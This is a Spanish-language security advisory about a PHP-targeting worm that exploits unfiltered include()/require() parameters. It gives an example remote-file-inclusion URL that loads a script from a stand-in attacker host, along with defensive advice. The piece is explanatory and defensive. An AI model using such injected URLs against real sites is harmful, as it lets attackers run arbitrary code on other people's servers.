Nuevo gusano para servidores web con PHP

Este nuevo espécimen puede infectar cualquier sitio web PHP que contenga ciertos errores de programación.

Al igual que “Santy”, también utiliza motores de búsqueda para localizar webs potencialmente vulnerables, en esta ocasión Google Brasil y Yahoo.

Aunque en principio algunas casas antivirus lo han relacionado con el gusano Santy que aprovechaba vulnerabilidades de phpBB, en realidad se trata de un nuevo gusano que puede afectar a cualquier sitio web que utilice PHP y que no haya sido programado de forma segura.

Es importante que los antivirus modifiquen el nombre dado al gusano, que en un principio ha sido tratado como si fuera una variante de Santy. Aunque tiene muchas similitudes, es importante tratarlo como un nuevo gusano, ya que de lo contrario puede crear confusión si los webmasters y programadores PHP piensan que sólo afecta a los sitios web con una versión vulnerable de phpBB. En este sentido Kaspersky lo ha pasado a denominar “Spyki” (Net-Worm.Perl.Spyki).

El nuevo gusano, escrito en Perl, aprovecha si el programador de la página PHP ha hecho uso de las funciones include() y require() sin filtrar adecuadamente los parámetros de entrada, lo que facilita al atacante, o en este caso al gusano, insertar y ejecutar archivos en el servidor de forma arbitraria.

En realidad se trata de una de las reglas básicas de la programación segura que todo diseñador web debe tener en cuenta. Nunca debe de abrir un archivo basándose en un parámetro externo sin comprobar la validez del mismo. Pese a ello, es un error frecuente el permitir hacer referencias a archivos externos, o internos saliendo de la raíz pública del web, a través de un parámetro en la URL.

De forma que si nosotros tenemos un script para abrir archivos HTML del servidor web, que por ejemplo podemos llamar de esta forma:

http://nuestroservidor/abrepagina.php?htm=index.htm

Un atacante podría provocar que cargara en su lugar un script malicioso, o un gusano como en el caso que nos ocupa, de la forma:

http://nuestroservidor/abrepagina.php?htm=http://atacante/gusano.php

La solución pasa por evitar parámetros de forma arbitraria cuando programamos el script PHP, filtrando todas las referencias que no se ajusten a las páginas legítimas del servidor web.